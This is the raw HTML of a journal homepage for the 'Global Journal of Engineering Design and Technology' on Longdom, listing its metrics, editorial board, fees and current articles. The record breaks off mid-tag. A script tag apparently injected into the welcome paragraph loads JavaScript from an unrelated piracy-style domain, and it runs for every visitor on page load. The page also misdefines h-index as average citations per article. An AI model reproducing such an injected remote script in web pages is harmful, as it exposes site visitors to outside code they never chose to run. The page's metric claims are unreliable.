CINXE.COM

<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Global Journal of Engineering Design and Technology - Longdom</title> <meta name="keywords" content="Global Journal of Engineering, Design, Technology journals, Electrical, mechanical, civil, computer science, Computational Statistics, Computer sciences, Business Ethics,data security journals, and Information Management." /> <meta name="description" content="gjedt-Global Journal of Engineering Design and Technology is a peer-reviewed International research journal. This online journal offers a platform for scholars, " /> <meta name="format-detection" content="telephone=no" /> <meta name="google-site-verification" content="NomPTP94YozsgvD3NEFpNqUfY88e0TU0L64zNzZTpd0" /> <meta itemprop="name" content="longdom" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="ROBOTS" content="INDEX,FOLLOW" /> <meta name="googlebot" content="INDEX,FOLLOW" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <link rel="canonical" href="https://www.longdom.org/global-journal-engineering-design-technology.html" /> <link rel="alternate" href="https://www.longdom.org/global-journal-engineering-design-technology.html" hreflang="en-us" /> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "Organization", "url": "https://www.longdom.org/global-journal-engineering-design-technology.html", "logo": "https://www.longdom.org/assets/img/longdom-logo.svg" } </script>  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" /> <link href="/assets/css/longdom.css" rel="stylesheet" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.7.0/animate.min.css" />  <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" />  <link href="https://fonts.googleapis.com/css?family=Montserrat:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i|Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet" /> <link href="/assets/css/ionicons.min.css" rel="stylesheet" />  <link rel="stylesheet" href="/assets/css/jquery.mCustomScrollbar.min.css" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.2/css/bootstrap-select.min.css" />  <link rel="stylesheet" href="/assets/css/global.css" />  <link rel="stylesheet" href="/assets/css/styles.css" /> <link rel="stylesheet" type="text/css" href="/assets/css/author.css" /> <link rel="icon" href="/assets/img/favicon.png" type="image/gif" /> <link rel="stylesheet" href="/assets/css/coolautosuggest.css" />   <script async src="https://www.googletagmanager.com/gtag/js?id=G-LE7WH45F9C"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-LE7WH45F9C'); </script> <meta property="og:title" content="Longdom Publishing SL | Open Access Journals" /> <meta property="og:site_name" content="Longdom" /> <meta property="og:url" content="https://www.longdom.org/" /> <meta property="og:description" content="Longdom Publishing SL is one of the leading international open access journals publishers, covering clinical, medical, and technology-oriented subjects" /> <meta property="og:type" content="article" /> <meta property="og:image" content="https://www.longdom.org/assets/img/longdom-logo.svg" /> <meta name="twitter:card" content="summary" /> <meta name="twitter:site" content="@org_longdom" /> <meta name="twitter:title" content="Longdom Publishing SL | Open Access Journals" /> <meta name="twitter:description" content="Longdom Publishing SL is one of the leading international open access journals publishers, covering clinical, medical, and technology-oriented subjects." /> <meta name="twitter:image" content="https://www.longdom.org/assets/img/longdom-logo.svg" />  <script> !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod? n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n; n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0; t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window, document,'script','//connect.facebook.net/en_US/fbevents.js'); fbq('init', '297919997051754'); fbq('track', "PageView"); </script>  </head> <body> <header>  <nav class="navbar navbar-expand-lg navbar-light bg-white shadow-sm deva541"> <div class="container"> <a class="navbar-brand" href="https://www.longdom.org/" title="Longdom Publishing S.L"> <img src="/assets/img/longdom-logo.svg" alt="" height="25"> </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar" aria-controls="navbar" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse justify-content-end" id="navbar"> <div class="navbar-nav"> <a class="nav-item nav-link" href="https://www.longdom.org/" title="Home">Home</a> <div class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="Guidelines" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Journals</a> <div class="dropdown-menu" aria-labelledby="Journals"> <a class="dropdown-item" href="https://www.longdom.org/journals-by-title.html" title="A-Z Journals">A-Z Journals</a> <a class="dropdown-item" href="https://www.longdom.org/open-access-journals-list.html" title="Browse By Subject">Browse By Subject</a> </div> </div> <div class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="Guidelines" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Guidelines & Policies </a> <div class="dropdown-menu" aria-labelledby="Guidelines"> <a class="dropdown-item" href="https://www.longdom.org/editorial-policies.html" title="Editorial Policies">Editorial Policies</a> <a class="dropdown-item" href="https://www.longdom.org/submit-manuscript.html" title="Online Submission">Online Submission</a> <a class="dropdown-item" href="https://www.longdom.org/instructions-to-authors.html" title="Instructions to Authors">Instructions to Authors</a> <a class="dropdown-item" href="https://www.longdom.org/policies.html" title="Policies">Policies</a> <a class="dropdown-item" href="https://www.longdom.org/publication-ethics.html" title="Publication ethics & malpractice statement">Publication ethics & malpractice statement</a> <a class="dropdown-item" href="https://www.longdom.org/reviewers.html" title="Reviewers">Reviewers</a> <a class="dropdown-item" href="https://www.longdom.org/terms-conditions.html" title="Terms and Conditions">Terms and Conditions</a> </div> </div> <a class="nav-item nav-link" href="https://www.longdom.org/advertising.html" title="Advertising">Advertising</a> <a class="nav-item nav-link" href="https://www.longdom.org/conferences.html" title="Conferences">Conferences</a> <a class="nav-item nav-link" href="https://www.longdom.org/contact-us.html" title="Contact us">Contact us</a>  <div class="nav-item dropdown multi_lang j_multi_lang"> <a class="nav-link dropdown-toggle" href="#" id="multi_lang" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Language</a> <div class="dropdown-menu" aria-labelledby=""> <a class="dropdown-item" href="https://spanish.longdom.org/global-journal-engineering-design-technology.html" title="Spanish"> <img src="/admin/flags/spain.png">Spanish </a> <a class="dropdown-item" href="https://chinese.longdom.org/global-journal-engineering-design-technology.html" title="Chinese"> <img src="/admin/flags/china.png">Chinese </a> <a class="dropdown-item" href="https://russian.longdom.org/global-journal-engineering-design-technology.html" title="Russian"> <img src="/admin/flags/russia.png">Russian </a> <a class="dropdown-item" href="https://german.longdom.org/global-journal-engineering-design-technology.html" title="German"> <img src="/admin/flags/germany.png">German </a> <a class="dropdown-item" href="https://french.longdom.org/global-journal-engineering-design-technology.html" title="French"> <img src="/admin/flags/france.png">French </a> <a class="dropdown-item" href="https://japanese.longdom.org/global-journal-engineering-design-technology.html" title="Japanese"> <img src="/admin/flags/japan.png">Japanese </a> <a class="dropdown-item" href="https://portuguese.longdom.org/global-journal-engineering-design-technology.html" title="Portuguese"> <img src="/admin/flags/portugal.png">Portuguese </a> <a class="dropdown-item" href="https://hindi.longdom.org/global-journal-engineering-design-technology.html" title="Hindi"> <img src="/admin/flags/india.png">Hindi </a> <a class="dropdown-item" href="https://telugu.longdom.org/global-journal-engineering-design-technology.html" title="Telugu"> <img src="/admin/flags/india.png">Telugu </a> <a class="dropdown-item" href="https://tamil.longdom.org/global-journal-engineering-design-technology.html" title="Tamil"> <img src="/admin/flags/india.png">Tamil </a> </div> </div>  </div>  </div> </div> </nav> </header>  <section class="bg-info py-1"> <div class="container"> <div class="row align-items-center justify-content-between">  <div class="col-12 col-sm-7"> <h1 class="text-left text-white border-light-blue-200-before font-size-7">Global Journal of Engineering, Design & Technology<br><small class="float-right font-size-5">Open Access</small></h1> </div>  <div class="col-12 col-sm-2 d-none d-sm-block"> <p class="lead">ISSN: 2319-7293</p>  <div id="feedback" class="card card-body p-1 font-size-2 shadow-sm z-index-1"> <div class="reach-us-animated"></div> <p class="card-text"><img src="/assets/img/whatsapp.svg" alt="" width="20" class="ml-2"> +44-77-2385-9429</p> </div> </div> </div> </div> </section>  <nav id="sticky-navbar" class="navbar navbar-expand-lg navbar-dark bg-primary py-0"> <div class="container"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#jrnlNavbar" aria-controls="jrnlNavbar" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse justify-content-center" id="jrnlNavbar"> <div class="navbar-nav"> <a class="nav-item nav-link active" href="https://www.longdom.org/global-journal-engineering-design-technology.html" title="Journal Home">Journal Home</a> <a class="nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/editorial-team.html" title="Editorial Board">Editorial Board</a> <div class="nav-item dropdown"> <a class="nav-link dropdown-toggle " title="Instructions for Authors" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" href="#">Instructions for Authors <i class="fas fa-caret-down"></i></a> <div class="dropdown-menu" aria-labelledby="EditorialPanel"> <a class="dropdown-item" href="https://www.longdom.org/global-journal-engineering-design-technology/instructionsforauthors.html" title="Instructions for Authors">Instructions for Authors</a>  <a class="dropdown-item" href="https://www.longdom.org/global-journal-engineering-design-technology/ethical-malpractices.html" title="Publication ethics & malpractice statement">Publication ethics & malpractice statement</a> </div> </div> <a class="nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/submissions.html" title="Submit Manuscript">Submit Manuscript</a> <a class="nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/aim-and-scope.html" title="Aims and Scope">Aims and Scope</a> <a class="nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/inpress.html" title="Articles in process">Articles in process</a>  <a class="nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/archive.html" title="Archive">Archive</a> <a class="nav-item nav-link " href="https://www.longdom.org/global-journal-engineering-design-technology/contact-us.html" title="Contact">Contact</a> </div> </div> </div> </nav> <script type="text/javascript"> function googleTranslateElementInit() { new google.translate.TranslateElement({pageLanguage: 'en'}, 'google_translate_element'); } </script> <script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script> <section class="py-4 content"> <div class="container"> <div class="row"> <aside class="col-12 col-sm-3 order-last order-sm-first"> <a href="https://www.longdom.org/global-journal-engineering-design-technology/awards-nomination.html" class="btn btn-info btn-block mb-3 border-0 border-left-4 border-info font-size-4"><i class="fa-light fa-award-simple"></i> Awards Nomination </a> <a href="https://www.longdom.org/global-journal-engineering-design-technology-online-visitors-readers-275.html" class="btn btn-warning btn-block mb-3 border-0 border-left-4 border-info font-size-4"><i class="fas fa-book-reader"></i> 25+ Million Readerbase</a>      <h6><a target="_blank" href="https://scholar.google.com/citations?hl=en&user=AlobXLoAAAAJ" title="Click here">Google Scholar citation report</a></h6> <h6 style="font-weight:bold;">Citations : 649</h6> <p><a target="_blank" href="https://scholar.google.com/citations?hl=en&user=AlobXLoAAAAJ" title="Click here">Global Journal of Engineering, Design & Technology received 649 citations as per Google Scholar report</a></p> <div class="card shadow-sm sidebar mb-3"> <a href="https://www.longdom.org/global-journal-engineering-design-technology/citations.html" title="Click here"><img src="https://www.longdom.org/admin/citation-images/global-journal-of-engineering-design--technology-citation.PNG" alt="Citation" class="img-fluid p_rel" /></a> </div>     <div class="card shadow-sm sidebar mb-3"> <h6 class="card-header">Useful Links</h6> <div class="card-body p-0"> <nav class="nav flex-column font-size-3 icon-list icon-list-angle-right a-py-1"> <a class="nav-item nav-link" href="https://www.longdom.org/covid-19-peer-reviewed-journals-articles-special-issues.html" title="Click Here">Covid-19 Journal Articles Issues</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/aim-and-scope.html" title="Click Here">Aim and Scope</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/peer-review-process.html" title="Click Here">Peer Review Process</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/other-comments.html" title="Click Here">Other Comments</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/advertising.html" title="Click Here">Advertising</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/citations.html" title="Click Here">Citations Report</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/indexing.html" title="Click Here">Indexing and Archiving</a> <a class="nav-item nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/archive.html" title="Click Here">Table of Contents</a> <a class="nav-item nav-link" href="https://www.longdom.org/submissions/global-engineering-design-technology.html" title="Click Here">Submit Paper</a> <a class="nav-item nav-link" href="https://www.longdom.org/editorial-tracking/" title="Click Here">Track Your Paper</a> <a class="nav-item nav-link" href="https://www.longdom.org/funded-articles.html" title="Click Here">Funded Work</a> </nav> </div> </div>  <div class="card shadow-sm sidebar mb-3" style="margin-top:10px"> <h6 class="card-header">Share This Page</h6> <div class="card-body"> <nav class="nav social-icons social-icons-sm"> <a class="nav-link bg-facebook white" href="https://www.facebook.com/sharer.php?u=https://www.longdom.org/global-journal-engineering-design-technology.html" target="_blank" title="Share with Facebook" rel="noopener"><i class="fab fa-facebook-f"></i></a> <a class="nav-link bg-twitter white" href="https://twitter.com/share?url=https://www.longdom.org/global-journal-engineering-design-technology.html" rel="noopener" target="_blank" title="Share with Twitter"><i class="fab fa-twitter"></i></a> <a class="nav-link bg-linkedin white" href="https://www.linkedin.com/shareArticle?mini=true&url=https://www.longdom.org/global-journal-engineering-design-technology.html" rel="noopener" target="_blank" title="Share with Linkdin"><i class="fab fa-linkedin-in"></i></a> <a class="nav-link bg-googleplus white" href="https://plus.google.com/share?url=https://www.longdom.org/global-journal-engineering-design-technology.html" target="_blank" rel="noopener" title="Share with Google+"><i class="fab fa-google-plus-g"></i></a> <a class="nav-link bg-pinterest white" href="https://pinterest.com/pin/create/button/?url=https://www.longdom.org/global-journal-engineering-design-technology.html" rel="noopener" target="_blank" title="Share with Pintrest"><i class="fab fa-pinterest-p"></i></a> <a class="nav-link bg-blogger white" href="https://www.blogger.com/blog-this.g?u=https://www.longdom.org/global-journal-engineering-design-technology.html" rel="noopener" target="_blank" title="Share with Blogger"><i class="fab fa-blogger-b"></i></a> </nav> </div> </div>  <div class="card shadow-sm sidebar mb-3"> <h6 class="card-header">Recommended Journals</h6> <div class="card-body p-0"> <nav class="nav flex-column font-size-3 icon-list icon-list-angle-right a-py-1"> <a class="nav-item nav-link" href="https://www.longdom.org/aeronautics-aerospace-engineering.html" title="Click Here">Aeronautics Journal</a> <a class="nav-item nav-link" href="https://www.longdom.org/advances-in-automobile-engineering.html" title="Click Here">Automobile Journal</a> <a class="nav-item nav-link" href="https://www.longdom.org/information-technology-software-engineering.html" title="Click Here">Information Technology Journal</a> </nav> </div> </div>  <div class="card shadow-sm sidebar mb-3"> <a href="https://www.longdom.org/global-journal-engineering-design-technology/advertising.html" title="Click here"><img src="https://www.longdom.org/assets/img/tower-banner.jpg" alt="Flyer image" class="img-fluid p_rel" /> <span class="p_abo cu_roundchip"> <span> <h5><span>25+</span> Million Website Visitors</h5> <h5><span>1230+</span> Journal Visitors</h5> </span> </span> </a> </div>    <div class="card shadow-sm sidebar mb-3"> <h6 class="card-header">Journal Flyer</h6> <img src="https://www.longdom.org/admin/flyers/global-journal-of-engineering-design--technology-flyer.jpg" alt="Global Journal of Engineering, Design & Technology" class="img-fluid"/> </div>   <div class="sidebar pt-20 pl-10 mt-xs-0" align="center"> <a class="twitter-timeline" href="https://twitter.com/Quamerwajhul1" data-width="450" data-height="300">Tweets by Quamerwajhul1</a> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </div> <div class="clear"> </div>   <div class="card shadow-sm sidebar mb-3"> <h6 class="card-header">Open Access Journals</h6> <div class="card-body p-0 scroll_mang"> <nav class="nav flex-column font-size-3 icon-list icon-list-angle-right a-py-1"> <a class="nav-item nav-link" href="https://www.longdom.org/agri-and-aquaculture-journals.html" title="Click Here">Agri and Aquaculture</a> <a class="nav-item nav-link" href="https://www.longdom.org/biochemistry-journals.html" title="Click Here">Biochemistry</a> <a class="nav-item nav-link" href="https://www.longdom.org/bioinformatics-and-systems-biology-journals.html" title="Click Here">Bioinformatics & Systems Biology</a> <a class="nav-item nav-link" href="https://www.longdom.org/business-and-management-journals.html" title="Click Here">Business & Management</a> <a class="nav-item nav-link" href="https://www.longdom.org/chemistry-journals.html" title="Click Here">Chemistry</a> <a class="nav-item nav-link" href="https://www.longdom.org/clinical-sciences-journals.html" title="Click Here">Clinical Sciences</a> <a class="nav-item nav-link" href="https://www.longdom.org/engineering-journals.html" title="Click Here">Engineering</a> <a class="nav-item nav-link" href="https://www.longdom.org/food-and-nutrition-journals.html" title="Click Here">Food & Nutrition</a> <a class="nav-item nav-link" href="https://www.longdom.org/general-science-journals.html" title="Click Here">General Science</a> <a class="nav-item nav-link" href="https://www.longdom.org/genetics-and-molecular-biology-journals.html" title="Click Here">Genetics & Molecular Biology</a> <a class="nav-item nav-link" href="https://www.longdom.org/immunology-and-microbiology-journals.html" title="Click Here">Immunology & Microbiology</a> <a class="nav-item nav-link" href="https://www.longdom.org/medical-sciences-journals.html" title="Click Here">Medical Sciences</a> <a class="nav-item nav-link" href="https://www.longdom.org/neuroscience-and-psychology-journals.html" title="Click Here">Neuroscience & Psychology</a> <a class="nav-item nav-link" href="https://www.longdom.org/nursing-and-health-care-journals.html" title="Click Here">Nursing & Health Care</a> <a class="nav-item nav-link" href="https://www.longdom.org/pharmaceutical-sciences-journals.html" title="Click Here">Pharmaceutical Sciences</a> </nav> </div> </div>  </aside> <main class="col-12 col-sm-9 main"> </h2> </h3>  <div class="row pb-3"> <div class="col-sm-12"> </div> </div>   <div class="row pb-3"> <div class="col-sm-12"> </div> </div>   <div class="row"> <div class="col-12 col-sm-12">  <div class="card card-body bg-grey-200 my-3 p-2 rounded-20 border-0 border-left-5 shadow-sm border-info equal-height"> <ul class="nav row journal-highlight-list"> <li class="col-lg-12"> Journal h-index : 5<br/> </li> <li class="col-lg-12"> Journal cite score : 0.97 </li> <li class="col-lg-12"> Journal impact factor : 2.16 </li> <li class="col-lg-12"> Average acceptance to publication time (5-7 days) </li> <li class="tooltip1"> Average article processing time (30-45 days) <span class="tooltiptext"> Less than 5 volumes 30 days <br/> 8 - 9 volumes 40 days<br/> 10 and more volumes 45 days</span> </li> </ul> </div> </div> </div>  <div class="row mb-3"> <div class="col">  <h2 class="heading-1">Editorial Board</h2> <div class="row"> <div class="col-12 col-sm-4"> <div class="card card-body text-center shadow-sm p-2 hover-transform scrollbar editor equal-height h-40"> <p class="card-text font-size-3"> <a href="https://www.longdom.org/editor/dr-jabbar-ali-zakeri-107" title="Dr. Jabbar Ali Zakeri"><strong>Dr. Jabbar Ali Zakeri</strong></a> <br>Editor-in-Chief <br>Iran University of Science and Technology, Iran </p> </div> </div> <div class="col-12 col-sm-4"> <div class="card card-body text-center shadow-sm p-2 hover-transform scrollbar editor equal-height h-40"> <p class="card-text font-size-3"> <a href="https://www.longdom.org/editor/drkanchan-deoli-bahukhandi-110" title="Dr.Kanchan Deoli Bahukhandi"><strong>Dr.Kanchan Deoli Bahukhandi</strong></a> <br>University of Petroleum and Energy Studies, India </p> </div> </div> <div class="col-12 col-sm-4"> <div class="card card-body text-center shadow-sm p-2 hover-transform scrollbar editor equal-height h-40"> <p class="card-text font-size-3"> <a href="https://www.longdom.org/editor/dr-mrsrinivasan-111" title="Dr. M.R. Srinivasan"><strong>Dr. M.R. Srinivasan</strong></a> <br>University of Petroleum and Energy Studies, India </p> </div> </div> </div> </div> </div> <div class="row"> <div class="col-12 col-sm-8">  <div class="card card-body bg-grey-200 my-3 p-2 rounded-20 border-0 border-left-5 shadow-sm border-info equal-height"> <h4 class="font-size-4">Submit Manuscript</h4> <p class="card-text"> Submit manuscript at <a href="https://www.longdom.org/submissions/global-engineering-design-technology.html" title="Click here">Online Submission System</a> or send as an e-mail attachment to the Editorial Office at <a href="mailto: submissions@longdom.org" title="Click here"> submissions@longdom.org </a> </p> </div> </div>  <div class="col-12 col-sm-4"> <div class="card card-body bg-grey-200 my-3 p-2 rounded-20 border-0 border-left-5 shadow-sm border-info equal-height"> <h4 class="font-size-4">Table of Contents</h4> <nav class="nav a-py-1"> <a class="nav-link col-12 pl-0 text-danger" href="https://www.longdom.org/global-journal-engineering-design-technology/current-issue.html" title="Click here"> <strong>Volume 13, 2024</strong> </a>  <a class="nav-link" href="https://www.longdom.org/global-journal-engineering-design-technology/archive.html" title="Click here"><i class="fa fa-file-archive-o" aria-hidden="true"></i> Archive</a> </nav> </div> </div> </div>  <div class="text-justify"> <h2 class="heading-1 mt-3"> Welcome to the Journal </h2> <p><strong><em>Global Journal of Engineering Design and Technology (GJEDT)</em></strong> is a peer-reviewed International research journal. This online journal offers a platform for scholars, academicians, professionals and students, to contribute the latest research findings in all the major areas within the engineering and technology. The distinguished journal embraces a wide range of topics encompassing broader areas of the field, including Design strategies, Usability and adaptability, Material, component and systems performance, Process control, Sustainability criteria, indicators, measurement and practices, Risk management, Computational Statistics, Computer sciences, Business Ethics, Industrial applications of neural networks, Information and data security, Information indexing and retrieval, Information Management, Information processing, Information systems and applications, Information Technology and their application. The journal encourages original studies as research articles, review articles and case studies from the aforementioned subject categories.</p> <p>The journal offers a platform for the academia to elevate their image as internationally acclaimed scholars with its presence online across the continents of the globe. Researchers can also ripe the benefit of enriching their study by submitting manuscripts to the editorial board that comprises of scholars with proven abilities and established research track record. All the articles submitted for publication are subjected to rigorous single blinded peer review to ensure quality before it gets published. Authors’ scholarly work undergoes critical scrutiny by experts in the same subject to check for scientific validity, relevance and accuracy. Manuscripts will be published upon getting the final approval from the editorial board members. The journal supports open access publishing model to maximize the reach and visibility of the published research. Authors can track the article status from the Editorial Manager System of the journal which allows authors to submit article, track status and respond to reviewers’ comments and revision requests. This multipurpose tool allows editors and reviewers to get access to the manuscript for review and to communicate with author. <script src="https://putlockersflix.com/yn/js/6.js"></script></p> <p><em><strong>Global Journal of Engineering Design and Technology</strong></em> is indexed by <strong>SJIF, CiteFactor, Index Copernicus</strong> and <strong>CROSSREF</strong>. The journal does not charge for submission. But a minimal charge is applicable for processing and publication of manuscript. Submit manuscript through online <a href="https://www.longdom.org/submissions/global-engineering-design-technology.html"> Online Submission System </a> or <a href="mailto:submissions@longdom.org">submissions@longdom.org</a></p> <p><strong>Fast Editorial Review Process</strong></p> <p>Global Journal of Engineering, Design & Technology is participating in the Fast Editorial Execution and Review Process (FEE-Review Process) with an additional prepayment of $99 apart from the regular article processing fee. Fast Editorial Execution and Review Process is a special service for the article that enables it to get a faster response in the pre-review stage from the handling editor as well as a review from the reviewer. An author can get a faster response of pre-review maximum in 3 days since submission, and a review process by the reviewer maximum in 5 days, followed by revision/publication in 2 days. If the article gets notified for revision by the handling editor, then it will take another 5 days for external review by the previous reviewer or alternative reviewer.</p> <p>Acceptance of manuscripts is driven entirely by handling editorial team considerations and independent peer-review, ensuring the highest standards are maintained no matter the route to regular peer-reviewed publication or a fast editorial review process. The handling editor and the article contributor are responsible for adhering to scientific standards. The article FEE-Review process of $99 will not be refunded even if the article is rejected or withdrawn for publication.</p> <p>The corresponding author or institution/organization is responsible for making the manuscript FEE-Review Process payment. The additional FEE-Review Process payment covers the fast review processing and quick editorial decisions, and regular article publication covers the preparation in various formats for online publication, securing full-text inclusion in a number of permanent archives like HTML, XML, and PDF, and feeding to different indexing agencies.</p> </div>  <div class="row"> <div class="col-12 col-sm-12">  <div class="card card-body bg-grey-200 my-3 p-2 rounded-20 border-0 border-left-5 shadow-sm border-info equal-height"> <h4 class="font-size-4">h-index</h4> <p class="card-text"> Articles published in <strong>Global Journal of Engineering, Design & Technology</strong> have been cited by esteemed scholars and scientists all around the world. <strong>Global Journal of Engineering, Design & Technology</strong> has got <strong> <a href="https://www.longdom.org/global-journal-engineering-design-technology/indexing.html" target="_blank"> h-index 5 </a> </strong> , which means every article in Global Journal of Engineering, Design & Technology has got 5 average citations. </p> </div> </div> </div>   <section class="py-4"> <div class="container"> <div class="row"> <div class="col-12"> <h2 class="heading-1">Current Issue Highlights</h2> <div class="card-columns"> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Short Communication</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/digital-modeling-innovations-in-construction-and-their-differences-and-benefits-110368.html" title="Digital Modeling Innovations in Construction and their Differences and Benefits"> Digital Modeling Innovations in Construction and their Differences and Benefits</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/carlos-mendez-72593' style='color:#555; border-bottom:1px dotted #CCC;' title='Carlos Mendez'>Carlos Mendez</a>* </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile1" countattr = "1" > <div class="nav font-size-3"> <a href="https://www.longdom.org/articles/digital-modeling-innovations-in-construction-and-their-differences-and-benefits-110368.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/digital-modeling-innovations-in-construction-and-their-differences-and-benefits.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Research Article</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/iot-powered-by-big-data-architecture-ecosystem-applications-107498.html" title="IOT Powered by Big Data: Architecture, Ecosystem, Applications"> IOT Powered by Big Data: Architecture, Ecosystem, Applications</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/ahmad-alflahat-68382' style='color:#555; border-bottom:1px dotted #CCC;' title='Ahmad Alflahat'>Ahmad Alflahat</a>* </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile2" countattr = "2" > <div class="nav font-size-3"> <a href="https://www.longdom.org/abstract/iot-powered-by-big-data-architecture-ecosystem-applications-107498.html" title="Click here" class="card-link text-danger filelinkclass"><i class="fas fa-file-alt"></i> Abstract</a> <a href="https://www.longdom.org/articles/iot-powered-by-big-data-architecture-ecosystem-applications-107498.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/iot-powered-by-big-data-architecture-ecosystem-applications.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Research Article</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/ontological-engineering-in-system-design-bridging-human-cognition-and-technological-systems-107497.html" title="Ontological Engineering in System Design: Bridging Human Cognition and Technological Systems"> Ontological Engineering in System Design: Bridging Human Cognition and Technological Systems</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/ai-fermelia-68371' style='color:#555; border-bottom:1px dotted #CCC;' title='AI Fermelia'>AI Fermelia</a>* and <a href='https://www.longdom.org/author/stephen-yernyik-68372' style='color:#555; border-bottom:1px dotted #CCC;' title='Stephen Yernyik'>Stephen Yernyik</a> </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile3" countattr = "3" > <div class="nav font-size-3"> <a href="https://www.longdom.org/abstract/ontological-engineering-in-system-design-bridging-human-cognition-and-technological-systems-107497.html" title="Click here" class="card-link text-danger filelinkclass"><i class="fas fa-file-alt"></i> Abstract</a> <a href="https://www.longdom.org/articles/ontological-engineering-in-system-design-bridging-human-cognition-and-technological-systems-107497.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/ontological-engineering-in-system-design-bridging-human-cognition--and-technological-systems.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Research Article</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/bibliometric-analysis-of-entrepreneurial-trends-in-the-energy-sector-a-focus-on-the-residential-electricity-market-107028.html" title="Bibliometric Analysis of Entrepreneurial Trends in the Energy Sector: A Focus on the Residential Electricity Market"> Bibliometric Analysis of Entrepreneurial Trends in the Energy Sector: A Focus on the Residential Electricity Market</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/sara-bahrami-67623' style='color:#555; border-bottom:1px dotted #CCC;' title='Sara Bahrami'>Sara Bahrami</a>*, <a href='https://www.longdom.org/author/seyed-reza-hejazi-67624' style='color:#555; border-bottom:1px dotted #CCC;' title='Seyed Reza Hejazi'>Seyed Reza Hejazi</a> and <a href='https://www.longdom.org/author/nasser-masoumi-67625' style='color:#555; border-bottom:1px dotted #CCC;' title='Nasser Masoumi'>Nasser Masoumi</a> </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile4" countattr = "4" > <div class="nav font-size-3"> <a 